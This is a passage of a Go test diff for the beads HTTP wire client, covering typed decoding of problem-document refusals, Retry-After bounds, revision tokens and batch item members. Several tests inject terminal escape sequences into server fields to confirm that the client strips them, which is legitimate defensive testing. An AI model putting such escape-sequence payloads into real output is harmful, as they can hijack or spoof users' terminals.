http.MethodPost, + Path: "/v0/beads/issues/ga-1:close", IssueID: "ga-1", + }) + if !errors.Is(err, issueops.ErrCloseBlocked) { + t.Fatalf("err = %v, want ErrCloseBlocked", err) + } + var openChildren *issueops.CloseOpenChildrenError + if errors.As(err, &openChildren) { + t.Error("a live-blocker refusal classified as open children") + } + }) + + t.Run("zero is present, not absent", func(t *testing.T) { + // The pointer is what carries presence: a count of zero must not read + // as the other refusal. + err := refuseWith(t, 409, `{"status":409,"code":"not_closable","open_children":0}`, nil, Request{ + Op: OpCloseIssue, Method: http.MethodPost, Path: "/v0/beads/issues/ga-1:close", IssueID: "ga-1", + }) + if !errors.Is(err, issueops.ErrCloseOpenChildren) { + t.Fatalf("err = %v, want ErrCloseOpenChildren", err) + } + }) +} + +func TestDependencyCycleUsesIssueIDPresenceAsTheDiscriminator(t *testing.T) { + // The hierarchy refusal and the scheduling cycle share one code because they + // share one recovery. The typed distinction rides on the extension members. + t.Run("absent means a plain scheduling cycle", func(t *testing.T) { + err := refuseWith(t, 409, `{"status":409,"code":"dependency_cycle","detail":"would create a cycle"}`, nil, Request{ + Op: OpAddDependencies, Method: http.MethodPost, Path: PathDependenciesAdd, + }) + if !errors.Is(err, issueops.ErrDependencyCycle) { + t.Fatalf("err = %v, want ErrDependencyCycle", err) + } + var hierarchy *issueops.DependencyHierarchyConflictError + if errors.As(err, &hierarchy) { + t.Error("a scheduling cycle classified as a hierarchy conflict") + } + }) + + // Both polarities: the boolean is emitted when false, so absence never + // means false and the reconstruction has to prove it in both directions. + for _, ancestor := range []bool{true, false} { + t.Run("hierarchy conflict, blocker_is_ancestor="+boolText(ancestor), func(t *testing.T) { + body := `{"status":409,"code":"dependency_cycle","issue_id":"ga-child","blocker_id":"ga-parent","blocker_is_ancestor":` + boolText(ancestor) + `}` + err := refuseWith(t, 409, body, nil, Request{ + Op: OpAddDependencies, Method: http.MethodPost, Path: PathDependenciesAdd, + }) + var hierarchy *issueops.DependencyHierarchyConflictError + if !errors.As(err, &hierarchy) { + t.Fatalf("err is %T (%v), want *issueops.DependencyHierarchyConflictError", err, err) + } + want := &issueops.DependencyHierarchyConflictError{ + IssueID: "ga-child", BlockerID: "ga-parent", BlockerIsAncestor: ancestor, + } + if *hierarchy != *want { + t.Errorf("reconstructed %+v, want %+v", hierarchy, want) + } + // The message is what `bd dep add` prints, and the two polarities + // say opposite things. + if hierarchy.Error() != want.Error() { + t.Errorf("message = %q, want %q", hierarchy.Error(), want.Error()) + } + }) + } +} + +func TestDependencyExistsCarriesBothEdgeTypes(t *testing.T) { + err := refuseWith(t, 409, `{"status":409,"code":"dependency_exists","existing_type":"blocks","requested_type":"related"}`, nil, Request{ + Op: OpAddDependencies, Method: http.MethodPost, Path: PathDependenciesAdd, + IssueID: "ga-1", DependsOnID: "ga-2", + }) + var conflict *issueops.DependencyTypeConflictError + if !errors.As(err, &conflict) { + t.Fatalf("err is %T (%v), want *issueops.DependencyTypeConflictError", err, err) + } + want := &issueops.DependencyTypeConflictError{ + IssueID: "ga-1", DependsOnID: "ga-2", ExistingType: "blocks", RequestedType: "related", + } + if *conflict != *want { + t.Errorf("reconstructed %+v, want %+v", conflict, want) + } +} + +func TestUnknownCodesFallBackToTheStatusClass(t *testing.T) { + // Adding a code is not a breaking change, so a client that hard-failed on an + // unknown one would break against every server newer than itself. + cases := []struct { + name string + status int + body string + want error + retryable bool + }{ + {"unknown 400", 400, `{"status":400,"code":"quota_exhausted"}`, ErrBadRequest, false}, + {"unknown 409", 409, `{"status":409,"code":"lease_conflict"}`, ErrBadRequest, false}, + {"unknown 429", 429, `{"status":429,"code":"too_many_requests"}`, ErrBadRequest, false}, + {"unknown 503", 503, `{"status":503,"code":"draining"}`, ErrBusy, true}, + {"unknown 500", 500, `{"status":500,"code":"panicked"}`, ErrServerFault, false}, + {"unknown 502 with no code at all", 502, `bad gateway`, ErrServerFault, false}, + {"a 504 from a proxy that is not a problem document", 504, ``, ErrServerFault, false}, + // A 401 is authentication whichever layer answered it. bd serve's own + // carries a code; these two are what an edge in FRONT of it returns when + // it rejects a credential before the request arrives — and the 4xx + // default used to call both of them a bad request, sending an operator + // to look at flags for a token to rotate. + {"401 with no code at all", 401, `401 Unauthorized`, ErrUnauthenticated, false}, + {"401 from an edge with no body", 401, ``, ErrUnauthenticated, false}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + err := refuseWith(t, tc.status, tc.body, nil, listIssues()) + if !errors.Is(err, tc.want) { + t.Fatalf("err = %v, want %v", err, tc.want) + } + var problem *ProblemError + if !errors.As(err, &problem) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if problem.Retryable() != tc.retryable { + t.Errorf("Retryable() = %v, want %v", problem.Retryable(), tc.retryable) + } + }) + } +} + +func TestCodeIsTheOnlyDispatchKey(t *testing.T) { + // A code carries one frozen status, so reading the status instead would be a + // second, weaker copy of the table. A code arriving on the wrong status still + // classifies by the code. + err := refuseWith(t, http.StatusInternalServerError, `{"status":500,"code":"not_found"}`, nil, listIssues()) + if !errors.Is(err, issueops.ErrNotFound) { + t.Fatalf("err = %v, want ErrNotFound", err) + } + if errors.Is(err, ErrServerFault) { + t.Error("the status class overrode a code this client knows") + } +} + +func TestRequestIDIsSurfacedOn5xx(t *testing.T) { + // The 5xx detail is a fixed string per code by design, so the correlation id + // is the client's only handle on the log line that has the real error. + err := refuseWith(t, 500, `{"status":500,"code":"internal","detail":"internal server error","request_id":"01JABCDEF"}`, nil, listIssues()) + var problem *ProblemError + if !errors.As(err, &problem) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if problem.RequestID != "01JABCDEF" { + t.Errorf("RequestID = %q", problem.RequestID) + } + if got := problem.Error(); !strings.Contains(got, "01JABCDEF") { + t.Errorf("Error() = %q, want the request_id in it", got) + } + + // A 4xx's detail already reflects the caller's own input, so the id is + // carried but does not clutter the sentence. + err = refuseWith(t, 404, `{"status":404,"code":"not_found","detail":"no issue or wisp with that id","request_id":"01JXYZ"}`, nil, listIssues()) + if !errors.As(err, &problem) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if problem.RequestID != "01JXYZ" { + t.Errorf("RequestID = %q", problem.RequestID) + } + if strings.Contains(problem.Error(), "01JXYZ") { + t.Errorf("Error() = %q, want the 4xx sentence without the request_id", problem.Error()) + } +} + +func TestRetryAfterIsParsedAndBounded(t *testing.T) { + cases := []struct { + name string + header string + max time.Duration + want time.Duration + }{ + {"delta seconds", "5", 30 * time.Second, 5 * time.Second}, + {"the saturation value", "1", 30 * time.Second, time.Second}, + {"absent", "", 30 * time.Second, 0}, + {"garbage", "soon", 30 * time.Second, 0}, + {"negative", "-5", 30 * time.Second, 0}, + // Server-controlled input: an unbounded honor is a server parking the + // caller's process for as long as it likes. + {"past the bound is clamped, not dropped", "3600", 30 * time.Second, 30 * time.Second}, + {"a date in the past", "Mon, 02 Jan 2006 15:04:05 GMT", 30 * time.Second, 0}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + headers := map[string]string{} + if tc.header != "" { + headers["Retry-After"] = tc.header + } + err := refuseWith(t, 503, `{"status":503,"code":"busy"}`, headers, listIssues(), + func(o *Options) { o.MaxRetryAfter = tc.max }) + var problem *ProblemError + if !errors.As(err, &problem) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if problem.RetryAfter != tc.want { + t.Errorf("RetryAfter = %v, want %v", problem.RetryAfter, tc.want) + } + if !problem.Retryable() { + t.Error("a 503 did not report as retryable") + } + }) + } +} + +func TestARetryAfterDateInTheFutureIsHonoredAndBounded(t *testing.T) { + future := time.Now().Add(10 * time.Second).UTC().Format(http.TimeFormat) + err := refuseWith(t, 503, `{"status":503,"code":"db_unavailable"}`, + map[string]string{"Retry-After": future}, listIssues()) + var problem *ProblemError + if !errors.As(err, &problem) { + t.Fatalf("err is %T, want *ProblemError", err) + } + // Second-granularity formatting plus the round trip make an exact + // comparison meaningless; the bound and the sign are the contract. + if problem.RetryAfter <= 0 || problem.RetryAfter > DefaultMaxRetryAfter { + t.Errorf("RetryAfter = %v, want a positive value at or under %v", problem.RetryAfter, DefaultMaxRetryAfter) + } +} + +func TestParamAndReasonSurviveForTheSkewTaxonomy(t *testing.T) { + // The version-skew signal: a newer CLI flag against an older server. The + // refusal taxonomy maps `param` back to the flag that produced it, so both + // members have to arrive typed rather than as prose. + err := refuseWith(t, 400, + `{"status":400,"code":"invalid_argument","param":"sort","reason":"unknown_parameter","detail":"unknown parameter \"sort\""}`, + nil, listIssues()) + var problem *ProblemError + if !errors.As(err, &problem) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if problem.Param != "sort" || problem.Reason != "unknown_parameter" { + t.Errorf("param/reason = %q/%q", problem.Param, problem.Reason) + } + if !errors.Is(err, issueops.ErrValidation) { + t.Error("invalid_argument did not map to ErrValidation") + } +} + +// TestPreconditionFailuresCarryBothSidesOfTheGuard is the decode half of the +// compare-and-set wave: a 409 precondition_failed says WHICH guard missed in +// `param` and — where the refusing operation can report it — what the request +// asked for and what the row was found holding. +// +// Both halves have to survive the decode. `param` alone tells a caller which +// member to recompose; the expected/actual pair is what lets it recompose the +// member WITHOUT a second read, and dropping it would leave "re-read the row and +// try again" as the only recovery on a surface whose refusal already carried the +// answer. +// +// THE VERSIONS ARE DECIMAL STRINGS ON THE WIRE AND ARE CARRIED AS SUCH. Live +// tokens run past 5e17, where an IEEE-754 double's ulp is already 64, which is +// why upstream #6053 spells every revision token as a string +// (types.RevisionToken): a JSON number would hand a lossy consumer a value NEAR +// the token that is not it, and the corruption would show up as a +// precondition_failed on the NEXT request. The case drives a token in that +// range and pins that the strings come through verbatim — the ProblemError does +// not parse them back, because they are an echo and a diagnostic, not a value +// to compose the next guard from (see the field comment). +func TestPreconditionFailuresCarryBothSidesOfTheGuard(t *testing.T) { + const expected = int64(576460752303423487) // 2^59 - 1: a float64 cannot hold it + const actual = int64(576460752303423489) + + t.Run("version", func(t *testing.T) { + body := fmt.Sprintf(`{"status":409,"code":"precondition_failed","param":"expected_version",`+ + `"expected_version":%q,"actual_version":%q}`, types.RevisionToken(expected), types.RevisionToken(actual)) + err := refuseWith(t, 409, body, nil, listIssues()) + + var p *ProblemError + if !errors.As(err, &p) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if !errors.Is(err, issueops.ErrVersionMismatch) { + t.Errorf("param expected_version did not map to ErrVersionMismatch: %v", err) + } + if p.ExpectedVersion == nil || *p.ExpectedVersion != types.RevisionToken(expected) { + t.Errorf("ExpectedVersion = %s, want %q verbatim", renderVersion(p.ExpectedVersion), types.RevisionToken(expected)) + } + if p.ActualVersion == nil || *p.ActualVersion != types.RevisionToken(actual) { + t.Errorf("ActualVersion = %s, want %q verbatim", renderVersion(p.ActualVersion), types.RevisionToken(actual)) + } + }) + + t.Run("status and assignee", func(t *testing.T) { + body := `{"status":409,"code":"precondition_failed","param":"expected_assignee",` + + `"expected_assignee":"","actual_assignee":"holder",` + + `"expected_status":"open","actual_status":"in_progress"}` + err := refuseWith(t, 409, body, nil, listIssues()) + + var p *ProblemError + if !errors.As(err, &p) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if !errors.Is(err, issueops.ErrAssigneeMismatch) { + t.Errorf("param expected_assignee did not map to ErrAssigneeMismatch: %v", err) + } + // The EMPTY expected assignee is the guard that says "only if nobody + // holds it", so its presence is load-bearing: a decode that collapsed it + // into absence would report a refusal the request never made. + if p.ExpectedAssignee == nil { + t.Error("ExpectedAssignee is absent; the empty string is a real guard and the server echoed it") + } else if *p.ExpectedAssignee != "" { + t.Errorf("ExpectedAssignee = %q, want the empty guard", *p.ExpectedAssignee) + } + for member, got := range map[string]*string{ + "actual_assignee": p.ActualAssignee, + "expected_status": p.ExpectedStatus, + "actual_status": p.ActualStatus, + } { + if got == nil { + t.Errorf("%s was dropped by the decode", member) + } + } + }) + + t.Run("an operation that cannot report what it found says so by absence", func(t *testing.T) { + // `actual_version` is present only where the refusing operation can + // report it: an all-or-nothing operation rolls its transaction back, so + // a value read afterwards would describe a row the refusal never saw. + // Absence means "this server cannot tell you", never "it found zero". + body := `{"status":409,"code":"precondition_failed","param":"expected_version","expected_version":"0"}` + err := refuseWith(t, 409, body, nil, listIssues()) + + var p *ProblemError + if !errors.As(err, &p) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if p.ActualVersion != nil { + t.Errorf("ActualVersion = %q for a refusal that reported none; absent is not zero", *p.ActualVersion) + } + if p.ExpectedVersion == nil { + t.Fatal("ExpectedVersion is absent; \"0\" is a legal token and the server echoed it") + } + if *p.ExpectedVersion != "0" { + t.Errorf("ExpectedVersion = %q, want the echoed \"0\"", *p.ExpectedVersion) + } + }) + + t.Run("the strings are stripped like every other server-controlled field", func(t *testing.T) { + body := `{"status":409,"code":"precondition_failed","param":"expected_status",` + + `"expected_status":"open\u009b31m","actual_status":"done\u001b]0;x\u0007",` + + `"expected_assignee":"a\u0000","actual_assignee":"b\u2028"}` + err := refuseWith(t, 409, body, nil, listIssues()) + + var p *ProblemError + if !errors.As(err, &p) { + t.Fatalf("err is %T, want *ProblemError", err) + } + for name, got := range map[string]*string{ + "ExpectedStatus": p.ExpectedStatus, "ActualStatus": p.ActualStatus, + "ExpectedAssignee": p.ExpectedAssignee, "ActualAssignee": p.ActualAssignee, + } { + if got == nil { + t.Errorf("%s was dropped by the decode", name) + continue + } + if strings.ContainsFunc(*got, isControlRune) { + t.Errorf("%s still carries a control rune: %q", name, *got) + } + } + }) +} + +// renderVersion prints a row-version guard THROUGH the pointer, so a failure +// message shows the token rather than the address of one — which is the +// difference between reading a corrupted value and reading a heap pointer. +func renderVersion(v *string) string { + if v == nil { + return "absent" + } + return fmt.Sprintf("%q", *v) +} + +// TestProblemDecodeStripsControlCharactersFromEveryField is the source-of-truth +// layer of the two-layer terminal-injection defense. A *ProblemError must leave +// the wire safe in EVERY server-controlled field — the direct ones AND the +// extension members the typed conflicts are reconstructed from — because many +// stderr sinks render it via %v with no display-layer strip (bd close/show/reopen/ +// update write each per-id failure straight to os.Stderr). The earlier per-field +// strip covered only detail/title/param/reason; these cases pin code, request_id +// and the reconstructed conflict's issue ids too. +func TestProblemDecodeStripsControlCharactersFromEveryField(t *testing.T) { + t.Run("direct fields including code and request_id", func(t *testing.T) { + body := `{"status":500,"code":"internal\u009b31m","title":"t\u009b","detail":"boom\u001b]0;x\u0007","param":"sort\u0000","reason":"r\u2028x","request_id":"req-\u009b1"}` + err := refuseWith(t, 500, body, nil, listIssues()) + + var p *ProblemError + if !errors.As(err, &p) { + t.Fatalf("err is %T, want *ProblemError", err) + } + for name, got := range map[string]string{ + "Code": p.Code, "Title": p.Title, "Detail": p.Detail, + "Param": p.Param, "Reason": p.Reason, "RequestID": p.RequestID, + } { + if strings.ContainsFunc(got, isControlRune) { + t.Errorf("%s still carries a control rune: %q", name, got) + } + } + // The whole rendered error is what a %v sink prints; it must be clean. + if strings.ContainsFunc(err.Error(), isControlRune) { + t.Errorf("ProblemError.Error() carries a control rune: %q", err.Error()) + } + }) + + t.Run("reconstructed dependency-cycle issue ids", func(t *testing.T) { + body := `{"status":409,"code":"dependency_cycle","issue_id":"bd-1\u009b31m","blocker_id":"bd-2\u001b]0;x\u0007","blocker_is_ancestor":true}` + err := refuseWith(t, 409, body, nil, listIssues()) + + var hc *issueops.DependencyHierarchyConflictError + if !errors.As(err, &hc) { + t.Fatalf("err is %T, want *DependencyHierarchyConflictError", err) + } + if strings.ContainsFunc(hc.IssueID, isControlRune) || strings.ContainsFunc(hc.BlockerID, isControlRune) { + t.Errorf("reconstructed conflict carries a control rune: issue=%q blocker=%q", hc.IssueID, hc.BlockerID) + } + if strings.ContainsFunc(hc.Error(), isControlRune) { + t.Errorf("conflict Error() carries a control rune: %q", hc.Error()) + } + }) +} + +// TestHandshakeErrorsStripControlCharacters is the handshake-family half of the +// decode-layer strip. CapabilityError and ProjectMismatchError are built in +// handshake.go, NOT through mapProblem, so they carry their own source-layer strip: +// a hostile server's bd_version or repo_root must not reach a per-id write sink +// (bd close/reopen/update) with a live escape sequence in it. +func TestHandshakeErrorsStripControlCharacters(t *testing.T) { + t.Run("CapabilityError bd_version", func(t *testing.T) { + // Advertises only issues.list; bd close needs issues.close, and the + // bd_version carries a CSI. Pre-flighting closeIssue forces the refusal. + body := `{"api_version":"v0","backend":"dolt","bd_version":"9.9\u009b31m","beads_dir":"/srv/.beads","capabilities":["issues.list"],"database":"beads","dolt_mode":"embedded","project_id":"p","repo_root":"/srv","schema_version":7}` + c, _ := newTestClient(t, Options{}, nil, serveContext(body)) + err := c.Preflight(ctx(t), OpCloseIssue) + + var capErr *CapabilityError + if !errors.As(err, &capErr) { + t.Fatalf("err is %T (%v), want *CapabilityError", err, err) + } + if strings.ContainsFunc(capErr.BdVersion, isControlRune) { + t.Errorf("BdVersion carries a control rune: %q", capErr.BdVersion) + } + if strings.ContainsFunc(err.Error(), isControlRune) { + t.Errorf("CapabilityError.Error() carries a control rune: %q", err.Error()) + } + }) + + t.Run("ProjectMismatchError repo_root, database and got", func(t *testing.T) { + // The pinned id differs from the server's, so the handshake refuses with a + // wrong-server diagnostic whose repo_root/database/project_id carry escapes. + body := `{"api_version":"v0","backend":"dolt","bd_version":"1.1.0","beads_dir":"/srv/.beads","capabilities":["issues.list"],"database":"db\u009bX","dolt_mode":"embedded","project_id":"other\u001b]0;x\u0007","repo_root":"/srv\u009b/repo","schema_version":7}` + c, _ := newTestClient(t, Options{ExpectProjectID: "mine"}, nil, serveContext(body)) + _, err := c.Handshake(ctx(t)) + + var pm *ProjectMismatchError + if !errors.As(err, &pm) { + t.Fatalf("err is %T (%v), want *ProjectMismatchError", err, err) + } + for name, got := range map[string]string{"Got": pm.Got, "Database": pm.Database, "RepoRoot": pm.RepoRoot} { + if strings.ContainsFunc(got, isControlRune) { + t.Errorf("%s carries a control rune: %q", name, got) + } + } + if strings.ContainsFunc(err.Error(), isControlRune) { + t.Errorf("ProjectMismatchError.Error() carries a control rune: %q", err.Error()) + } + }) +} + +func TestARefusalNeverEchoesTheCredential(t *testing.T) { + const token = "s3cr3t-bearer-token" + creds := &staticToken{tokens: []string{token}} + c, _ := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("WWW-Authenticate", "Bearer") + problemJSON(w, 401, `{"status":401,"code":"unauthenticated","detail":"missing or invalid bearer token","request_id":"r"}`) + }) + err := c.Do(ctx(t), listIssues(), &struct{}{}) + if !errors.Is(err, ErrUnauthenticated) { + t.Fatalf("err = %v, want ErrUnauthenticated", err) + } + if strings.Contains(err.Error(), token) { + t.Fatalf("the token survived into the error text: %v", err) + } +} + +func TestTheProblemBodyIsReadWhateverTheContentType(t *testing.T) { + // A proxy that rewrites Content-Type must not cost the client its typed + // classification; `code` is what dispatches, not the media type. + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(404) + _, _ = io.WriteString(w, `{"status":404,"code":"not_found"}`) + }) + if err := c.Do(ctx(t), listIssues(), &struct{}{}); !errors.Is(err, issueops.ErrNotFound) { + t.Fatalf("err = %v, want ErrNotFound", err) + } +} + +func boolText(b bool) string { + if b { + return "true" + } + return "false" +} + +// TestBatchItemMembersSurviveTheDecode is the batch-apply half of the guard +// pair above, and it exists because those members are the ONLY place the +// offender exists on an all-or-nothing operation: the request either applied +// every item or none, so there is no per-item result array a client could find +// it in. +// +// PRESENCE IS LOAD-BEARING ON ALL FIVE, in two different directions. +// `item_index` 0 is the first item and a real answer, so a decode that modelled +// it as a bare int could not tell "the first item refused" from "no item was +// named". `item_key` and `item_issue_id` are absent for real states rather than +// gaps — not every item has a key, and a create whose id was never minted has +// no id to report. And `declared_later` is emitted in BOTH polarities, so its +// absence says the refusal was not about a key at all rather than saying false. +func TestBatchItemMembersSurviveTheDecode(t *testing.T) { + t.Run("every member present, including a zero index", func(t *testing.T) { + body := `{"status":409,"code":"precondition_failed","param":"items[0].update.expected_version",` + + `"item_index":0,"item_kind":"update","item_key":"root","item_issue_id":"bd-7"}` + err := refuseWith(t, 409, body, nil, listIssues()) + + var p *ProblemError + if !errors.As(err, &p) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if p.ItemIndex == nil { + t.Fatal("ItemIndex is absent; 0 is the first item and a real answer") + } + if *p.ItemIndex != 0 { + t.Errorf("ItemIndex = %d, want 0", *p.ItemIndex) + } + for name, got := range map[string]struct { + have *string + want string + }{ + "ItemKind": {p.ItemKind, "update"}, + "ItemKey": {p.ItemKey, "root"}, + "ItemIssueID": {p.ItemIssueID, "bd-7"}, + } { + if got.have == nil { + t.Errorf("%s was dropped by the decode", name) + continue + } + if *got.have != got.want { + t.Errorf("%s = %q, want %q", name, *got.have, got.want) + } + } + }) + + t.Run("an unnamed item leaves the two optional members absent", func(t *testing.T) { + body := `{"status":400,"code":"invalid_argument","param":"items[2]","item_index":2,"item_kind":"dep_add"}` + err := refuseWith(t, 400, body, nil, listIssues()) + + var p *ProblemError + if !errors.As(err, &p) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if p.ItemKey != nil { + t.Errorf("ItemKey = %q for an item that named nothing symbolically; absent is a real state here", *p.ItemKey) + } + if p.ItemIssueID != nil { + t.Errorf("ItemIssueID = %q for a refusal that resolved no id", *p.ItemIssueID) + } + }) + + t.Run("declared_later is read in both polarities", func(t *testing.T) { + for _, tc := range []struct { + body string + want *bool + }{ + {`{"status":400,"code":"invalid_argument","item_index":1,"item_key":"late","declared_later":true}`, problemBoolPtr(true)}, + {`{"status":400,"code":"invalid_argument","item_index":1,"item_key":"typo","declared_later":false}`, problemBoolPtr(false)}, + {`{"status":400,"code":"invalid_argument","param":"limit"}`, nil}, + } { + err := refuseWith(t, 400, tc.body, nil, listIssues()) + var p *ProblemError + if !errors.As(err, &p) { + t.Fatalf("err is %T, want *ProblemError", err) + } + switch { + case tc.want == nil && p.DeclaredLater != nil: + t.Errorf("DeclaredLater = %v on a refusal that was not about a key; absence is the third state", + *p.DeclaredLater) + case tc.want != nil && p.DeclaredLater == nil: + t.Error("DeclaredLater was dropped; it is emitted in both polarities and never omitted to mean false") + case tc.want != nil && *p.DeclaredLater != *tc.want: + t.Errorf("DeclaredLater = %v, want %v", *p.DeclaredLater, *tc.want) + } + } + }) + + t.Run("the strings are stripped like every other server-controlled field", func(t *testing.T) { + body := `{"status":400,"code":"invalid_argument","item_index":0,` + + `"item_kind":"create\u009b31m","item_key":"k\u0000","item_issue_id":"bd-1\u2028"}` + err := refuseWith(t, 400, body, nil, listIssues()) + + var p *ProblemError + if !errors.As(err, &p) { + t.Fatalf("err is %T, want *ProblemError", err) + } + for name, got := range map[string]*string{ + "ItemKind": p.ItemKind, "ItemKey": p.ItemKey, "ItemIssueID": p.ItemIssueID, + } { + if got == nil { + t.Errorf("%s was dropped by the decode", name) + continue + } + if strings.ContainsFunc(*got, isControlRune) { + t.Errorf("%s still carries a control rune: %q", name, *got) + } + } + }) +} + +func problemBoolPtr(b bool) *bool { return &b } diff --git a/internal/httpclient/wire/problem_wire_revision_test.go b/internal/httpclient/wire/problem_wire_revision_test.go new file mode 100644 index 000000000..6a1ba74f9 --- /dev/null +++ b/internal/httpclient/wire/problem_wire_revision_test.go @@ -0,0 +1,132 @@ +// Written fresh for OSS beads S2 (no bd-enterprise source copied). +package wire + +import ( + "errors" + "strings" + "testing" + + "github.com/steveyegge/beads/issueops" +) + +// TestWireRevisionUnsupportedReasonBuildsTheTypedError pins the per-request +// mirror of the handshake gate: a 400 invalid_argument whose reason is +// wire_revision_unsupported must decode to *WireRevisionUnsupportedError, not +// fall through to the generic ErrValidation the bare invalid_argument code +// would otherwise map to (reason is the only thing telling the two apart, +// exactly as it is for project_mismatch). +func TestWireRevisionUnsupportedReasonBuildsTheTypedError(t *testing.T) { + body := `{"status":400,"code":"invalid_argument","reason":"wire_revision_unsupported",` + + `"bd_version":"1.9.0","min_wire_revision":3,"wire_revision":3}` + err := refuseWith(t, 400, body, nil, listIssues()) + + if !errors.Is(err, ErrWireRevisionUnsupported) { + t.Fatalf("err = %v, want it to wrap ErrWireRevisionUnsupported", err) + } + if errors.Is(err, issueops.ErrValidation) { + t.Fatal("err also satisfies the generic ErrValidation; reason must take priority over the code table") + } + var wru *WireRevisionUnsupportedError + if !errors.As(err, &wru) { + t.Fatalf("err is %T, want *WireRevisionUnsupportedError", err) + } + if wru.BdVersion != "1.9.0" { + t.Errorf("BdVersion = %q, want 1.9.0", wru.BdVersion) + } + if wru.MinClientWireRevision != 3 || wru.ServerWireRevision != 3 { + t.Errorf("MinClientWireRevision=%d ServerWireRevision=%d, want 3 and 3", wru.MinClientWireRevision, wru.ServerWireRevision) + } + if wru.ClientWireRevision != ClientWireRevision { + t.Errorf("ClientWireRevision = %d, want this build's own %d", wru.ClientWireRevision, ClientWireRevision) + } + // err.Error() renders the generic ProblemError text (operation/status/code); + // the typed sentinel's own message — the one naming the bd_version and + // revision numbers — only comes from calling Error() on the unwrapped + // *WireRevisionUnsupportedError itself. + msg := wru.Error() + for _, want := range []string{"1.9.0", "3"} { + if !strings.Contains(msg, want) { + t.Errorf("wru.Error() = %q, want %q in it", msg, want) + } + } +} + +// TestWireRevisionUnsupportedReasonRidesTheGenericCode proves the dispatch key +// really is reason-before-code: the HTTP status and `code` here are the same +// ones an ordinary malformed-argument refusal would use. +func TestWireRevisionUnsupportedReasonRidesTheGenericCode(t *testing.T) { + body := `{"status":400,"code":"invalid_argument","param":"not_this","reason":"wire_revision_unsupported"}` + err := refuseWith(t, 400, body, nil, listIssues()) + var wru *WireRevisionUnsupportedError + if !errors.As(err, &wru) { + t.Fatalf("err is %T, want *WireRevisionUnsupportedError even though code is the generic invalid_argument", err) + } +} + +// TestLegacyRevisionTokensSurviveAsBareIntegers is the pre-#6053 tolerance: +// a server old enough to predate the decimal-string revision token spelling +// sends expected_version/actual_version as bare JSON integers. The generated +// Problem types them *string, so the primary decode silently drops a +// type-mismatched field (mapProblem discards json.Unmarshal's error) -- +// legacyRevisionFields must recover it from the same bytes. +func TestLegacyRevisionTokensSurviveAsBareIntegers(t *testing.T) { + body := `{"status":409,"code":"precondition_failed","param":"expected_version",` + + `"expected_version":42,"actual_version":43}` + err := refuseWith(t, 409, body, nil, listIssues()) + + var p *ProblemError + if !errors.As(err, &p) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if !errors.Is(err, issueops.ErrVersionMismatch) { + t.Errorf("param expected_version did not map to ErrVersionMismatch: %v", err) + } + if p.ExpectedVersion == nil || *p.ExpectedVersion != "42" { + t.Fatalf("ExpectedVersion = %s, want \"42\" recovered from the bare integer", renderVersion(p.ExpectedVersion)) + } + if p.ActualVersion == nil || *p.ActualVersion != "43" { + t.Fatalf("ActualVersion = %s, want \"43\" recovered from the bare integer", renderVersion(p.ActualVersion)) + } +} + +// TestLegacyRevisionFieldsDoesNotOverrideAProperlyDecodedString proves the +// fallback is additive only: when the primary decode already produced a +// string (the shape every server since #6053 sends), legacyRevisionFields +// must not touch it. +func TestLegacyRevisionFieldsDoesNotOverrideAProperlyDecodedString(t *testing.T) { + body := `{"status":409,"code":"precondition_failed","param":"expected_version",` + + `"expected_version":"7","actual_version":"8"}` + err := refuseWith(t, 409, body, nil, listIssues()) + + var p *ProblemError + if !errors.As(err, &p) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if p.ExpectedVersion == nil || *p.ExpectedVersion != "7" { + t.Fatalf("ExpectedVersion = %s, want \"7\"", renderVersion(p.ExpectedVersion)) + } + if p.ActualVersion == nil || *p.ActualVersion != "8" { + t.Fatalf("ActualVersion = %s, want \"8\"", renderVersion(p.ActualVersion)) + } +} + +// TestLegacyRevisionFieldsLeavesAbsenceAlone proves the fallback does not +// manufacture a value the server never sent: an operation that cannot report +// actual_version at all (the "an operation that cannot report what it found +// says so by absence" case the string-shape test already pins) must stay nil +// through the integer-tolerant path too. +func TestLegacyRevisionFieldsLeavesAbsenceAlone(t *testing.T) { + body := `{"status":409,"code":"precondition_failed","param":"expected_version","expected_version":42}` + err := refuseWith(t, 409, body, nil, listIssues()) + + var p *ProblemError + if !errors.As(err, &p) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if p.ExpectedVersion == nil || *p.ExpectedVersion != "42" { + t.Fatalf("ExpectedVersion = %s, want \"42\"", renderVersion(p.ExpectedVersion)) + } + if p.ActualVersion != nil { + t.Errorf("ActualVersion = %q, want nil: the server reported none", *p.ActualVersion) + } +} diff --git a/internal/httpclient/wire/project_stamp_test.go b/internal/httpclient/wire/project_stamp_test.go new file mode 100644 index 000000000..2e463c82c --- /dev/null +++ b/internal/httpclient/wire/project_stamp_test.go @@ -0,0 +1,215 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/project_stamp_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "encoding/json" + "errors" + "net/http" + "net/url" + "strings" + "testing" + + "github.com/steveyegge/beads/issueops" +) + +// The client half of ga-b8ddd.12: the per-request Bd-Project-Id stamp, its +// validation at open, and the wrong-server refusal it earns. These are pure +// httptest cases like the rest of the wire suite, so the whole branch matrix — +// stamped/unstamped, both retry attempts, valid/invalid id, the reason arm and +// its control-rune strip — is owned at PR cadence. + +const stampExpectID = "proj-workspace-alpha" + +// TestEveryRequestCarriesTheProjectStamp is the headline of the stamping half: +// the id rides on the shared roundTrip, so it must appear on a baseline read, the +// identity handshake and a write alike — the point of ga-b8ddd.12 is that even the +// five unpinned baseline reads now carry it. +func TestEveryRequestCarriesTheProjectStamp(t *testing.T) { + c, rec := newTestClient(t, Options{ExpectProjectID: stampExpectID}, nil, 